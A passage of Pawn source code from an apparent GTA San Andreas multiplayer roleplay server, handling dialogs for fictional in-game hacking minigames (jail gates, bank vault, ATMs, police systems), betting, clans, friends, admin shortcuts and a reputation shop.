	if(TimerToHackGates[playerid]){KillTimer(TimerToHackGates[playerid]);TimerToHackGates[playerid]=0;}
		  HackedGatesTimer[playerid] = SetTimerEx("HackedGatesTimerz", 300000, false, "i", playerid);
		  
		  
new hwarn[144];
new name[MAX_PLAYER_NAME];
new rankname[50];
if(PINFO[playerid][pRank] == 1) rankname = "New Hacker";
if(PINFO[playerid][pRank] == 2) rankname = "Trial Hacker";
if(PINFO[playerid][pRank] == 3) rankname = "Hacker";
if(PINFO[playerid][pRank] == 4) rankname = "Perfect Hacker";
if(PINFO[playerid][pRank] == 5) rankname = "Old Hacker";
if(PINFO[playerid][pRank] == 6) rankname = "Private Hacker";
if(PINFO[playerid][pRank] == 7) rankname = "Hackers Leader";
GetPlayerName(playerid, name, sizeof(name));
format(hwarn,sizeof(hwarn),"[Unknowns]: {ffffff}%s %s has hacked jail gates",rankname,name);
SendHackerMessage(COLOR_HACKER, hwarn);
SCM(playerid, COLOR_YELLOW2, "Hacked successfully for 5 minutes.");
SCM(playerid, COLOR_YELLOW2, "Now you can use /og, /enter, /opencell, /closecell in prison.");
		  
		  
		  

	return 1;
	}
	



	if(dialogid == 6590)
	{
		  if(!response)
		  {
		   HackingNumberMin[playerid] = 0;
		   HackingNumberMax[playerid] = 0;
		   HackingNumber[playerid] = 0;
		   return 1;
		  }
		  if(response)
		  {
		  new title[30];
		  new mainz[300];
		  if(strval(inputtext) < HackingNumber[playerid])
		  {
          format(mainz,sizeof(mainz),"Hacking Bank...\nEnter a number between {ff0000}%d{A9C4E4}-{ff0000}%d{A9C4E4}\n{00ff00}ENTER A HIGHER NUMBER!", HackingNumberMin[playerid], HackingNumberMax[playerid]);
          format(title, sizeof(title), "Hacking Bank");
          ShowPlayerDialog(playerid,6590,DIALOG_STYLE_INPUT,title,mainz,"Try","Close");
		  return 1;
		  }
		  if(strval(inputtext) > HackingNumber[playerid])
		  {
          format(mainz,sizeof(mainz),"Hacking Bank...\nEnter a number between {ff0000}%d{A9C4E4}-{ff0000}%d{A9C4E4}\n{ff0000}ENTER A LOWER NUMBER!", HackingNumberMin[playerid], HackingNumberMax[playerid]);
          format(title, sizeof(title), "Hacking Bank");
          ShowPlayerDialog(playerid,6590,DIALOG_STYLE_INPUT,title,mainz,"Try","Close");
		  return 1;
		  }
		  new PMs[144];
		  format(PMs, sizeof(PMs), " Hacker %s(%i) has hacked second security door.", RPName(playerid), playerid);
		  SendRobMessage(COLOR_ROB, PMs);
		  SendRobMessage(COLOR_ROB, " Be careful! Don't move through lasers. JUMP FROM THEM!");
		  if(TooBiz[playerid] == 9)MoveDynamicObject(BankGate1,1394.32825, 1337.39221, 1485.86609, 3);
		  if(TooBiz[playerid] == 8)MoveDynamicObject(BankGate2,1394.32825, 1337.39221, 1485.86609, 3);
		  SendRobMessage(COLOR_ROB, " There is a door that made of glass. Break that with shooting at that.");
		  SendRobMessage(COLOR_ROB, " Then make those safe boxes empty with staying front of them and pressing 'F' key.");
          NowCanPickupMoney = 1;
          if(KiRafteAzRob!=1)TextDrawShowForPlayer(sGunner1, TDTake);
          if(KiRafteAzRob!=2)TextDrawShowForPlayer(sGunner2, TDTake);
          if(KiRafteAzRob!=3)TextDrawShowForPlayer(sHacker, TDTake);
          if(KiRafteAzRob!=4)TextDrawShowForPlayer(sRunner, TDTake);
          TakeUpd = SetTimer("UpdateTDTake", 500, 1);
		  }
		  return 1;
		  }


	if(dialogid == 6599)
	{
		  if(!response)
		  {
		   HackingNumberMin[playerid] = 0;
		   HackingNumberMax[playerid] = 0;
		   HackingNumber[playerid] = 0;
	if(WireConnect[playerid]){KillTimer(WireConnect[playerid]);WireConnect[playerid]=0;}
		   if(ForceEnd[playerid]!=0){KillTimer(ForceEnd[playerid]); ForceEnd[playerid]=0;}
		   return 1;
		  }
		  new title[30];
		  new mainz[300];
		  if(strval(inputtext) < HackingNumber[playerid])
		  {
          format(mainz,sizeof(mainz),"Hacking ATM...\nEnter a number between {ff0000}%d{A9C4E4}-{ff0000}%d{A9C4E4}\n{00ff00}ENTER A HIGHER NUMBER!", HackingNumberMin[playerid], HackingNumberMax[playerid]);
          format(title, sizeof(title), "Hacking ATM");
          ShowPlayerDialog(playerid,6599,DIALOG_STYLE_INPUT,title,mainz,"Try","Close");
		  return 1;
		  }
		  if(strval(inputtext) > HackingNumber[playerid])
		  {
          format(mainz,sizeof(mainz),"Hacking ATM...\nEnter a number between {ff0000}%d{A9C4E4}-{ff0000}%d{A9C4E4}\n{ff0000}ENTER A LOWER NUMBER!", HackingNumberMin[playerid], HackingNumberMax[playerid]);
          format(title, sizeof(title), "Hacking ATM");
          ShowPlayerDialog(playerid,6599,DIALOG_STYLE_INPUT,title,mainz,"Try","Close");
		  return 1;
		  }
		  HackingNumberMin[playerid] = 0;
		  HackingNumberMax[playerid] = 0;
		  HackingNumber[playerid] = 0;


new hwarn[144];
new name[MAX_PLAYER_NAME];
new rankname[50];
if(PINFO[playerid][pRank] == 1) rankname = "New Hacker";
if(PINFO[playerid][pRank] == 2) rankname = "Trial Hacker";
if(PINFO[playerid][pRank] == 3) rankname = "Hacker";
if(PINFO[playerid][pRank] == 4) rankname = "Perfect Hacker";
if(PINFO[playerid][pRank] == 5) rankname = "Old Hacker";
if(PINFO[playerid][pRank] == 6) rankname = "Private Hacker";
if(PINFO[playerid][pRank] == 7) rankname = "Hackers Leader";
GetPlayerName(playerid, name, sizeof(name));
format(hwarn,sizeof(hwarn),"[Unknowns]: {ffffff}%s %s has hacked an ATM",rankname,name);
SendHackerMessage(COLOR_HACKER, hwarn);
SCM(playerid, COLOR_YELLOW2, "ATM hacked successfully.");
if(ForceEnd[playerid]!=0){KillTimer(ForceEnd[playerid]); ForceEnd[playerid]=0;}
new randompool = RandomShomare(92565,106185);
GivePlayerPool(playerid, randompool);
LoopingAnim(playerid, "BOMBER", "BOM_Plant", 4.0, 0, 0, 0, 0, 0);AnimPlay[playerid] = 1;



new sarnevesht = RandomShomare(1,2);
if(sarnevesht == 1)
{
SetPlayerWantedLevel(playerid,GetPlayerWantedLevel(playerid)+6);
SetPlayerCriminal(playerid,INVALID_PLAYER_ID, "Hacking ATM",6);
WantedKamKonTimerValid[playerid] = true;
WantedTimerEZ[playerid] = 900;
PlayerTextDrawShow(playerid, WantedTTD[playerid]);
new sendradio[144];
format(sendradio, sizeof(sendradio), "[Dep-Warn]: {0069FF}%s hacked an ATM.", PlayerInfo[playerid][pName]);
SendFamilyMessage(1, COLOR_BLUE, sendradio);
SendFamilyMessage(2, COLOR_BLUE, sendradio);
SendFamilyMessage(3, COLOR_BLUE, sendradio);
SCM(playerid, COLOR_SINAGHERMEZ, "Bad chance! A banker seen that you hacked their systems and he reported you to cop.");
}
if(sarnevesht == 2)
{
SCM(playerid, COLOR_SINASABZ, "Good chance! There wasn't any banker to see that you hacked their systems.");
}
new vavaz[144];
format(vavaz, 144, "You earned $%s with hacking this ATM.",FormatNumber(randompool));
SendMessage(playerid, COLOR_SINARANG, vavaz);



	return 1;
	}









	if(dialogid == 6593)
	{
		  if(!response)
		  {
		   HackingNumberMin[playerid] = 0;
		   HackingNumberMax[playerid] = 0;
		   HackingNumber[playerid] = 0;
		   if(ForceEndCop[playerid]!=0){KillTimer(ForceEndCop[playerid]); ForceEndCop[playerid]=0;}
		   return 1;
		  }
		  new title[50];
		  new mainz[300];
		  if(strval(inputtext) < HackingNumber[playerid])
		  {
           format(mainz,sizeof(mainz),"Hacking cops systems...\nEnter a number between {ff0000}%d{A9C4E4}-{ff0000}%d{A9C4E4}\n{00ff00}ENTER A HIGHER NUMBER!", HackingNumberMin[playerid], HackingNumberMax[playerid]);
           format(title, sizeof(title), "Hacking cops systems");
           ShowPlayerDialog(playerid,6593,DIALOG_STYLE_INPUT,title,mainz,"Try","Close");
		  return 1;
		  }
		  if(strval(inputtext) > HackingNumber[playerid])
		  {
           format(mainz,sizeof(mainz),"Hacking cops systems...\nEnter a number between {ff0000}%d{A9C4E4}-{ff0000}%d{A9C4E4}\n{ff0000}ENTER A LOWER NUMBER!", HackingNumberMin[playerid], HackingNumberMax[playerid]);
           format(title, sizeof(title), "Hacking cops systems");
           ShowPlayerDialog(playerid,6593,DIALOG_STYLE_INPUT,title,mainz,"Try","Close");
		  return 1;
		  }
		  HackingNumberMin[playerid] = 0;
		  HackingNumberMax[playerid] = 0;
		  HackingNumber[playerid] = 0;
		  ICanHackWanted[playerid] = 1;
		  if(ForceEndCop[playerid]!=0){KillTimer(ForceEndCop[playerid]); ForceEndCop[playerid]=0;}


new hwarn[144];
new name[MAX_PLAYER_NAME];
new rankname[50];
if(PINFO[playerid][pRank] == 1) rankname = "New Hacker";
if(PINFO[playerid][pRank] == 2) rankname = "Trial Hacker";
if(PINFO[playerid][pRank] == 3) rankname = "Hacker";
if(PINFO[playerid][pRank] == 4) rankname = "Perfect Hacker";
if(PINFO[playerid][pRank] == 5) rankname = "Old Hacker";
if(PINFO[playerid][pRank] == 6) rankname = "Private Hacker";
if(PINFO[playerid][pRank] == 7) rankname = "Hackers Leader";
GetPlayerName(playerid, name, sizeof(name));
format(hwarn,sizeof(hwarn),"[Unknowns]: {ffffff}%s %s has hacked cops systems",rankname,name);
SendHackerMessage(COLOR_HACKER, hwarn);
SCM(playerid, COLOR_YELLOW2, "Hacked successfully for 1 time use.");
SCM(playerid, COLOR_YELLOW2, "Now you can use /hackwanted.");




	return 1;
	}







	
	
	if(dialogid == 1072)
	{
		  new pool = GetPlayerPool(playerid);
		  if(!response)
		  {
		   ShowPlayerDialog(playerid,1074,DIALOG_STYLE_LIST,"{ff0000}BETSHOP","{00FF78}Money \t\n{FFFA00}Gold","Select","Cancel");
		   return 1;
		  }
		  if(strval(inputtext)<200000||strval(inputtext)>1000000)
		  {
		  ShowPlayerDialog(playerid,1072,DIALOG_STYLE_INPUT,"{ff0000}BET ON MONEY","Insert your money price that you want to bet\n** Your price must be fewer than {ff0000}1,000,000 and more than 200,000.","Done","Back");
		  return 1;
		  }
			if(pool > 5000000)
			{
			ShowPlayerDialog(playerid, 1072, DIALOG_STYLE_MSGBOX,"{ff0000}BET ON MONEY", "{ff0000}Your current cash money is more than allowed cash.","OK", "Back");
			return 1;
			}
			poolebetshode[playerid]=strval(inputtext);
			if(GetPlayerPool(playerid) < poolebetshode[playerid]) {
			ShowPlayerDialog(playerid,1072,DIALOG_STYLE_INPUT,"{ff0000}BET ON MONEY","{ff0000}You don't have that money on your cash\n{A9C4E4}Insert your money price that you want to bet\n{ff0000}** Your price must be fewer than 10,000,000 and more than 10,000.","Done","Back");
			return 1;
			}
			SetTimerEx("moneybet", 100, 0, "i", playerid);

	return 1;
	}
	if(dialogid == 1088) {
	if(response) {
	new str[32];
	format(str, sizeof(str), "%s",inputtext);
	NameClan[playerid] = str;
	ShowPlayerDialog(playerid, 1089, DIALOG_STYLE_INPUT, "Column", "Column", "OK", "Back");
	}
	else {}
	}
	if(dialogid == 1089) {
	if(response) {
	new str[8];
	format(str, sizeof(str), "%s",inputtext);
	ColClan[playerid] = str;
	ShowPlayerDialog(playerid, 1090, DIALOG_STYLE_INPUT, "Value", "Value", "OK", "Back");
	}
	else {}
	}
	if(dialogid == 1090) {
	if(response) {
	new c = strval(NameClan[playerid]);
	new str = strval(inputtext);

	if(strcmp(ColClan[playerid],"cSlot",true) == 0) {
	DynamicClans[c][cSlot] = str;
	}
	else if(strcmp(ColClan[playerid],"cSlots",true) == 0) {
	DynamicClans[c][cSlots] = str;
	}
	else if(strcmp(ColClan[playerid],"cBB",true) == 0) {
	DynamicClans[c][cBB] = str;
	}
	else if(strcmp(ColClan[playerid],"cName",true) == 0) {
	strmid(DynamicClans[c][cName], inputtext, 0, strlen(inputtext), 512);
	}
	else if(strcmp(ColClan[playerid],"cTag",true) == 0) {
	strmid(DynamicClans[c][cTag], inputtext, 0, strlen(inputtext), 512);
	}
	else if(strcmp(ColClan[playerid],"cColor",true) == 0) {
	strmid(DynamicClans[c][cColor], inputtext, 0, strlen(inputtext), 512);
	}
	SaveDynamicClans(c);
	SCM(playerid, COLOR_RED, "Edited. Show edites in database");
	for(new i = 0; i < Akharish; i++)
	{
	if(IsPlayerConnected(i) && PINFO[i][pClan] == c+1) {
	new c2;
	c2 = PlayerInfo[i][pClan];
	GetPlayerTag(i);
	GivePlayerTag(i, DynamicClans[c2-1][cTag]);
	SCM(playerid, COLOR_RED, "Tags Fixed.");
	}
	}
	}
	else {}
	}
	if(dialogid == 21557)
	{
	   if(response)
	   {
			new p = EventDLG[playerid][listitem];
			new string[1024];
		  if(p != EventOrg) {format(string, 1024, "Title: %s\nOrganizer: %s\nTime: %s\nPrize: %s\nDesc: %s\nLocation: %s\n\n{AA3333}Inactive",EventTitle[p],PINFO[p][pName],EventTime[p],FormatNumber(EventReward[p]),EventDesc[p],EventLocation[p]);}
			else if(p == EventOrg) {format(string, 1024, "Title: %s\nOrganizer: %s\nTime: %s\nPrize: %s\nDesc: %s\nLocation: %s\n\n{33AA33}Accepted (Now)",EventTitle[p],PINFO[p][pName],EventTime[p],FormatNumber(EventReward[p]),EventDesc[p],EventLocation[p]);}
		  ShowPlayerDialog(playerid, 21558, DIALOG_STYLE_MSGBOX, "[Events]", string, "Accept", "Close");
		  SelectedERequest[playerid] = EventID[p];

	   }
	}
	if(dialogid == 2159)
	{
	 if(response) {
	   if(listitem == 0) {
		ShowPlayerDialog(playerid, 2160, DIALOG_STYLE_INPUT, "Add a friend...", "To add a friend please type full/part of whose name below that you want to be friend with\n\nAlso you can type his/her id.", "Accept", "Close");
		}
		else if(listitem != 0) {

			//NeshunFriend(playerid, FDLG[playerid][listitem]);
			Sqlf[playerid] = listitem;
			NeshunFriend(playerid);
	   }
	  }
	 else {}
	}
	if(dialogid == 2154)
	{

	 if(response) {


	   if(listitem == 0) {

		Wait[playerid] = 1;

		new query[512];
		mysql_format(handle, query, 512, "UPDATE `friends` SET pOnline='0',pName='0',pFriend='0',pID='0' WHERE pName='%e' AND pID='%d'",PINFO[playerid][pName],Sqlf[playerid]);
		mysql_tquery(handle, query, "SendQuery", "");


		fInfo[Sqlf[playerid]][pOnline] = 0;
		fInfo[Sqlf[playerid]][pID] = 0;
		fInfo[Sqlf[playerid]][pFriend] = 0;
		fInfo[Sqlf[playerid]][pName] = 0;

		UpdateFriend(playerid);
		//SaveFriends(Sqlf[playerid]);
		SCM(playerid, COLOR_LIGHTBLUE, "Player removed from your friends list.");

		PlayerInfo[playerid][pFriends] -= 1;
		SaveKonVal(playerid, "pFriends", PlayerInfo[playerid][pFriends]);

		//Wait[playerid] = 0;

		}
		if(listitem == 1) {

		ZangBezan(playerid);

		}
		if(listitem == 2) {
		ShowPlayerDialog(playerid, 2113, DIALOG_STYLE_INPUT, "SMS:", "Enter Your text to sms!", "Ok", "Cancel");
		}
		if(listitem == 3) {
		FindKon(playerid);
		}
		}
	 else {}
	}
	if(dialogid == 2113) {
	if(response) {
	SMSBezan(playerid, inputtext);
	}
	else {}
	}
	if(dialogid == 2160)
	{
	   if(response)
	   {
			new target = ReturnUser6(inputtext);
			if(!IsPlayerConnected(target)) return SCM(playerid, COLOR_YELLOW2, "Error: Player isn't connected.");
			if(target == playerid) return SCM(playerid, COLOR_YELLOW2, "Error: You can't add yourself for a friend.");
			SearchFriend(playerid, target);


		 }
		 if(!response)
	   {

	   }
	}
	if(dialogid == 21558) {
	if(response) {
	new evv[20];
	format(evv, 20, "/aaevent %i", SelectedERequest[playerid]);
	OnPlayerCommandText(playerid, evv);
	}
	else {

	}
	}
	if(dialogid == 2101)
	{
	   if(response) // If they clicked 'Yes' or pressed enter
	   {
		if(PlayerInfo[playerid][pAdmin] < 1) {ShowPlayerDialog(playerid, 2108, DIALOG_STYLE_LIST, "Control:", "Call \nSMS \nFind", "Select", "Cancel");}
	   else if(PlayerInfo[playerid][pAdmin] > 0) {ShowPlayerDialog(playerid, 2102, DIALOG_STYLE_LIST, "Control:", "Call \nSMS \nFind \nGoto \nBan \nKick \nTeleport \nChangeNick", "Select", "Cancel");}
	   }
	   else // Pressed ESC or clicked cancel
	   {
	   }
	   return 1; // We handled a dialog, so return 1. Just like OnPlayerCommandText.
	}
	 if(dialogid == 2102)
	{
	   if(response)
	   {
		  if(listitem == 0)
		  {
			new call[20];
		  format(call, 20, "/call %i", PINFO[clicked[playerid]][pPnumber]);
		  OnPlayerCommandText(playerid, call);
	}
	if(listitem == 1)
		  {
			ShowPlayerDialog(playerid, 2103, DIALOG_STYLE_INPUT, "SMS:", "Enter Your text to sms!", "Ok", "Cancel");
	}
	if(listitem == 2)
		  {
			new f[1024];
		  format(f, 1024, "/find %i", clicked[playerid]);
		  OnPlayerCommandText(playerid, f);
	}
	if(listitem == 3)
		  {
			new got[1024];
		  format(got, 1024, "/goto %i", clicked[playerid]);
		  OnPlayerCommandText(playerid, got);
	}
	if(listitem == 4)
		  {
			ShowPlayerDialog(playerid, 2105, DIALOG_STYLE_INPUT, "Days:", "Enter Your text to days for ban!", "Ok", "Cancel");
	}
	if(listitem == 5)
		  {
			ShowPlayerDialog(playerid, 2107, DIALOG_STYLE_INPUT, "Reason:", "Enter Your text to reason for kick!", "Ok", "Cancel");
	}
	if(listitem == 6)
		  {
			new tp[1024];
		  format(tp, 1024, "/gethere %i", clicked[playerid]);
		  OnPlayerCommandText(playerid, tp);
	}
	if(listitem == 7)
		  {
		ShowPlayerDialog(playerid, 2108, DIALOG_STYLE_INPUT, "Reason:", "Enter new name for this player!", "Ok", "Cancel");
		}
	   }
		return 1;
	}
	if(dialogid == 2103)
	{
	   if(response)
	   {
			new sms[1024];
		  format(sms, 1024, "/sms %i %s", PINFO[clicked[playerid]][pPnumber], inputtext);
		  OnPlayerCommandText(playerid, sms);
	   }
		else {

		}
		return 1;
	}
	if(dialogid == 2105)
	{
	   if(response)
	   {
		DayBan[playerid] = strval(inputtext);
		ShowPlayerDialog(playerid, 2106, DIALOG_STYLE_INPUT, "Reason:", "Enter Your text to reason for ban!", "Ok", "Cancel");
	   }
		else {

		}
		return 1;
	}
	if(dialogid == 2106)
	{
	   if(response)
	   {
		new n[40];
		GetPlayerName(clicked[playerid], n, sizeof(n));
		new ban[1024];
	   format(ban, 1024, "/ban %s %i %s", n, DayBan[playerid], inputtext);
	   OnPlayerCommandText(playerid, ban);
	   }
		else {

		}
		return 1;
	}
	if(dialogid == 2107)
	{
	   if(response)
	   {
		new kk[1024];
	   format(kk, 1024, "/kick %i %s", clicked[playerid], inputtext);
	   OnPlayerCommandText(playerid, kk);
	   }
		else {

		}
		return 1;
	}
	if(dialogid == 2108)
	{
	   if(response)
	   {
		new cn[1024];
	   format(cn, 1024, "/changenick %i %s", clicked[playerid], inputtext);
	   OnPlayerCommandText(playerid, cn);
	   }
		else {

		}
		return 1;
	}
	if(dialogid == 7815)
	{
	   if(response)
	   {
		  new string[100];
		  format(string, 100, "%s(%i): %s", PINFO[HelpmeDLG[playerid][listitem]][pName],HelpmeDLG[playerid][listitem],HelpmeText[HelpmeDLG[playerid][listitem]]);
		  ShowPlayerDialog(playerid, 7519, DIALOG_STYLE_MSGBOX, "[HELPMES]", string, "Accept", "Close");
		  SelectedRequest[playerid] = HelpmeDLG[playerid][listitem];
	   }
	}
  /*  if(dialogid == NEON)
	{
		if(response)
		{
			if(listitem == 0)
			{
			if(neonsx[GetPlayerVehicleID(playerid)] == 0)
			{
			   SetPVarInt(playerid, "neon", 1);
							 SetPVarInt(playerid, "red", CreateDynamicObject(18648,0,0,0,0,0,0));
				   SetPVarInt(playerid, "red1", CreateDynamicObject(18648,0,0,0,0,0,0));
							AttachDynamicObjectToVehicle(GetPVarInt(playerid, "red"), GetPlayerVehicleID(playerid), -0.8, 0.0, -0.70, 0.0, 0.0, 0.0);
							AttachDynamicObjectToVehicle(GetPVarInt(playerid, "red1"), GetPlayerVehicleID(playerid), 0.8, 0.0, -0.70, 0.0, 0.0, 0.0);
							GameTextForPlayer(playerid, "~b~ Abi ~w~Cheragh Zir Ezafe Shod",3500,5);
							neonsx[GetPlayerVehicleID(playerid)] = 1;
							}
		  }
						if(listitem == 1)
			{
			if(neonsx[GetPlayerVehicleID(playerid)] == 0)
			{
			   SetPVarInt(playerid, "neon", 1);
							 SetPVarInt(playerid, "red", CreateDynamicObject(19296,0,0,0,0,0,0));
				   SetPVarInt(playerid, "red1", CreateDynamicObject(19296,0,0,0,0,0,0));
							AttachDynamicObjectToVehicle(GetPVarInt(playerid, "red"), GetPlayerVehicleID(playerid), -0.8, 0.0, -0.70, 0.0, 0.0, 0.0);
							AttachDynamicObjectToVehicle(GetPVarInt(playerid, "red1"), GetPlayerVehicleID(playerid), 0.8, 0.0, -0.70, 0.0, 0.0, 0.0);
							GameTextForPlayer(playerid, "~r~ Red ~w~Cheragh Zir Ezafe Shod",3500,5);
							neonsx[GetPlayerVehicleID(playerid)] = 1;
							}
			}
			if(listitem == 2)
			{
			if(neonsx[GetPlayerVehicleID(playerid)] == 0)
			{
			   SetPVarInt(playerid, "neon", 1);
							 SetPVarInt(playerid, "red", CreateDynamicObject(19297,0,0,0,0,0,0));
				   SetPVarInt(playerid, "red1", CreateDynamicObject(19297,0,0,0,0,0,0));
							AttachDynamicObjectToVehicle(GetPVarInt(playerid, "red"), GetPlayerVehicleID(playerid), -0.8, 0.0, -0.70, 0.0, 0.0, 0.0);
							AttachDynamicObjectToVehicle(GetPVarInt(playerid, "red1"), GetPlayerVehicleID(playerid), 0.8, 0.0, -0.70, 0.0, 0.0, 0.0);
							GameTextForPlayer(playerid, "~g~ Sabz ~w~Cheragh Zir Ezafe Shod",3500,5);
							neonsx[GetPlayerVehicleID(playerid)] = 1;
							}
			}

								if(listitem == 3)
			{
				DestroyDynamicObject(GetPVarInt(playerid, "red"));
								   DeletePVar(playerid, "neon");
								   DestroyDynamicObject(GetPVarInt(playerid, "red1"));
										  GameTextForPlayer(playerid, "~g~Cheragh Zir Ghat Shod",3500,5);
										  neonsx[GetPlayerVehicleID(playerid)] = 0;
								}
			   }
	}
	*/
	if(dialogid == 7519)
	{
	   if(response)
	   {
		  new lol[20];
		  format(lol, 20, "/ah %i", SelectedRequest[playerid]);
		  OnPlayerCommandText(playerid, lol);
	   }
	}
	if(dialogid == 7820)
	{
	   if(response)
	   {
		  new string[100];
		  format(string, 100, "%s(%i): %s", PINFO[ReportDLG[playerid][listitem]][pName],ReportDLG[playerid][listitem],ReportText[ReportDLG[playerid][listitem]]);
		  ShowPlayerDialog(playerid, 7521, DIALOG_STYLE_MSGBOX, "[REPORT]", string, "Accept", "Close");
		  SelectedRRequest[playerid] = ReportDLG[playerid][listitem];
	   }
	}
	if(dialogid == 7521)
	{
	   if(response)
	   {
		  new lol[20];
		  format(lol, 20, "/ar %i", SelectedRRequest[playerid]);
		  OnPlayerCommandText(playerid, lol);
	   }
	}
	if(dialogid == 78200)
	{
	   if(response)
	   {
		  new string[100];
		  format(string, 100, "Do You Accept Suspect : %s(%i) ?", PINFO[WDLG[playerid][listitem]][pName],WDLG[playerid][listitem]);
		  ShowPlayerDialog(playerid, 75210, DIALOG_STYLE_MSGBOX, "[Wanted]", string, "Accept", "Close");
		  SelectedWRequest[playerid] = WDLG[playerid][listitem];
	   }
	}
	if(dialogid == 75210)
	{
	   if(response)
	   {
		  new lol[20];
		  format(lol, 20, "/find %i", SelectedWRequest[playerid]);
		  OnPlayerCommandText(playerid, lol);
		   for(new i = 0; i < Akharish; i++)
			 {
				if(IsPlayerConnected(i))
				{
					if(IsACop(i))
					{
				new name[144];
			//	new turnmes[144];
//				new cbjstore[512];
				new plr = SelectedWRequest[playerid];
				GetPlayerName(plr, name, sizeof(name));
					   format(cbjstore, sizeof(cbjstore), "Cop %s Accepted Suspect : %s(%i)",PlayerInfo[playerid][pName],name,SelectedWRequest[playerid]);
					   SendMessage(i, TEAM_BLUE_COLOR, cbjstore);
					}
				}
			 }
	   }
	}
		 if(dialogid == 1376)
		 {
		  if(response)
	   {
			switch(listitem)// Checking which listitem was selected
		{

		case 0:// The first item listed
			{
			   if(PlayerInfo[playerid][pRep] >= 5)
			   {
					PlayerInfo[playerid][pRep] -= 5;
					SaveKonVal(playerid, "pRep", PlayerInfo[playerid][pRep]);
					new Float:health;
					GetPlayerArmour(playerid, health);
					new Float:arm = health + 50;
					SetPlayerZereh(playerid, arm);
					SendMessage(playerid, COLOR_AdminWarn, "50% Armour added to your armour space.");
					new sender[40];
					GetPlayerName(playerid, sender, sizeof(sender));
					new rep[512];
					format(rep, sizeof(rep), "%s bought Armour from rep shop.", sender);
					ProxDetector(20.0, playerid, rep, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
					}
					else {
					SendMessage(playerid, COLOR_YELLOW2, "Error: You haven't enough rep points.");
					ShowRepShop(playerid);
					}
		}
		case 1:// The first item listed
			{
			   if(PlayerInfo[playerid][pRep] >= 1)
			   {

					PlayerInfo[playerid][pRep] -= 1;
					SaveKonVal(playerid, "pRep", PlayerInfo[playerid][pRep]);

					GivePlayerKolang(playerid, 46, 1);
					SendMessage(playerid, COLOR_AdminWarn, "Parachute is ready for use.");
					new sender[40];
					GetPlayerName(playerid, sender, sizeof(sender));
					new rep[512];
					format(rep, sizeof(rep), "%s bought a Parachute from rep shop.", sender);
					ProxDetector(20.0, playerid, rep, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
					}
					else {
					SendMessage(playerid, COLOR_YELLOW2, "Error: You haven't enough rep points.");
					ShowRepShop(playerid);
					}
		}
			case 2:// The first item listed
			{
			   if(PlayerInfo[playerid][pRep] >= 12)
			   {

					PlayerInfo[playerid][pRep] -= 12;
					SaveKonVal(playerid, "pRep", PlayerInfo[playerid][pRep]);

					GivePlayerKolang(playerid, 26, 500);
					SendMessage(playerid, COLOR_AdminWarn, "Sawn-off Shotgun is ready for use.");
					new sender[40];
					GetPlayerName(playerid, sender, sizeof(sender));
					new rep[512];
					format(rep, sizeof(rep), "%s bought a Sawnoff Shotgun from rep shop.", sender);
					ProxDetector(20.0, playerid, rep, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
					}
					else {
					SendMessage(playerid, COLOR_YELLOW2, "Error: You haven't enough rep points.");
					ShowRepShop(playerid);
					}
			}
			case 3:// The first item listed
			{
			   if(PlayerInfo[playerid][pRep] >= 5)
			   {

					PlayerInfo[playerid][pRep] -= 5;
					SaveKonVal(playerid, "pRep", PlayerInfo[playerid][pRep]);

					GivePlayerKolang(playerid, 42, 500);
					SendMessage(playerid, COLOR_AdminWarn, "Fire Extinguisher is ready for use.");
					new sender[40];
					GetPlayerName(playerid, sender, sizeof(sender));
					new rep[512];
					format(rep, sizeof(rep), "%s bought a Fire Extinguisher from rep shop.", sender);
					ProxDetector(20.0, playerid, rep, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
					}
					else {
					SendMessage(playerid, COLOR_YELLOW2, "Error: You haven't enough rep points.");
					ShowRepShop(playerid);
					}
			}
			case 4:// The first item listed
			{
			   if(PlayerInfo[playerid][pRep] >= 5)
			   {

					PlayerInfo[playerid][pRep] -= 5;
					SaveKonVal(playerid, "pRep", PlayerInfo[playerid][pRep]);

					GivePlayerKolang(playerid, 8, 500);
					SendMessage(playerid, COLOR_AdminWarn, "Katana is ready for use.");
					new sender[40];
					GetPlayerName(playerid, sender, sizeof(sender));
					new rep[512];
					format(rep, sizeof(rep), "%s bought a Katana Sword from rep shop.", sender);
					ProxDetector(20.0, playerid, rep, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
					}
					else {
					SendMessage(playerid, COLOR_YELLOW2, "Error: You haven't enough rep pointss.");
					ShowRepShop(playerid);
					}
			}
			case 5:// The first item listed
			{
			   if(PlayerInfo[playerid][pRep] >= 10)
			   {

					PlayerInfo[playerid][pRep] -= 10;
					SaveKonVal(playerid, "pRep", PlayerInfo[playerid][pRep]);

					GivePlayerKolang(playerid, 28, 500);
					SendMessage(playerid, COLOR_AdminWarn, "UZI is ready for use.");
					new sender[40];
					GetPlayerName(playerid, sender, sizeof(sender));
					new rep[512];
					format(rep, sizeof(rep), "%s bought a UZI from rep shop.", sender);
					ProxDetector(20.0, playerid, rep, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
					}
					else {
					SendMessage(playerid, COLOR_YELLOW2, "Error: You haven't enough rep points.");
					ShowRepShop(playerid);
					}
			}
			case 6:// The first item listed
			{
			   if(PlayerInfo[playerid][pRep] >= 30)
			   {

					PlayerInfo[playerid][pRep] -= 30;
					SaveKonVal(playerid, "pRep", PlayerInfo[playerid][pRep]);

					SendMessage(playerid, COLOR_AdminWarn, "Jetpack is ready for use.");
					JetAllow[playerid] = 1;
					SetPlayerSpecialAction(playerid, 2);
					new sender[40];
					GetPlayerName(playerid, sender, sizeof(sender));
					new rep[512];
					format(rep, sizeof(rep), "%s bought a Jetpack from rep shop.", sender);
					ProxDetector(20.0, playerid, rep, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
					}
					else {
					SendMessage(playerid, COLOR_YELLOW2, "Error: You haven't enough rep points.");
					ShowRepShop(playerid);
					}
			}
			case 7:// The first item listed
			{
			   if(PlayerInfo[playerid][pRep] >= 15)
			   {

					PlayerInfo[playerid][pRep] -= 15;
					SaveKonVal(playerid, "pRep", PlayerInfo[playerid][pRep]);

					SendMessage(playerid, COLOR_AdminWarn, "Jammer Of Detective Raders enabled for 5 minutes. your finders can't find you now.");
